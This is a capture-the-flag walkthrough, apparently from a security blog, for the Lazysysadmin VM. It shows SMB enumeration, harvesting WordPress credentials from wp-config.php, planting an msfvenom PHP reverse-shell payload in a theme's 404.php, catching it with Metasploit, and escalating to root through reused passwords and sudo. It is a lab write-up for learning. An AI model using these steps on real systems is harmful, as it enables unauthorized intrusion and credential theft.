Hack the Lazysysadmin VM (CTF Challenge)

Hello friends! Today we are going to take another CTF challenge known as Lazysysadmin. The credit for making this vm machine goes to “Togie Mcdogie” and it is another boot2root challenge where we have to root the server to complete the challenge. You can download this VM here.

Let’s Breach!!!

Let us start form getting to know the IP of VM (Here, I have it at but you will have to find your own)


Use nmap for port enumeration.

nmap -sV

We find port 139 and port 445 is open, so we use smbclient to look for shared disk.

Smbclient -L

After finding the shared drive we use smbclient to access the shared folder.

smbclient \\\share$

Searching through the files we find wordpress folder. In the wordpress folder, we download the wp-config.php file to find the password and username.

In the wp-config.php file we find the username and password for wordpress login.

Now we use dirb to find the wordpress page, as the default page on the server is not based on wordpress.


Now after finding the wordpress page we open admin login page. We access the admin dashboard using the username and password we found earlier in the wp-config.php file.


We then create a php payload using msfvenom and replace the 404.php page in themes with the code of our payload.

msfvenom -p php/meterpreter/reverse_tcp lhost= lport=4444 -f raw

We set up our listener using metasploit.

msf > use exploit/multi/handler

msf exploit(handler) > set lhost

msf exploit(handler) > set lport 4444

msf exploit(handler) > set payload php/meterpreter/reverse_tcp

msf exploit(handler) > run

We then call the 404.php page to start our session. The 404.php page can be found in /wp-content/themes/twentyfifteen/404.php

As soon as our payload is executed we get our reverse shell.

After searching through the files, we didn’t find anything. So we go back to the shared folder and in there we download a file called deets.txt

When we open the file we find password for some user.

We open the /etc/passwd file on the VM to find the name of the users.

When we switch users we are prompted by an error message to use terminal, so we spawn /bin/bash using python.

echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py

Then we switch user to togie and use the password we find in deets.txt file

su – togie

We then look into sudoers and find that we have all the privileges of root user so we switch to root.

sudo -l

sudo su

So we switch to root and go into root folder. There we find a file called proof.txt, we open the file and are greeted with a message congratulating for the completion of the CTF challenge.

Author: Sayantan Bera is a technical writer at hacking articles and cyber security enthusiast. Contact Here

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Hack the Lazysysadmin VM (CTF Challenge) Hack the Lazysysadmin VM (CTF Challenge) Reviewed by Unknown on 11:18 AM Rating: 5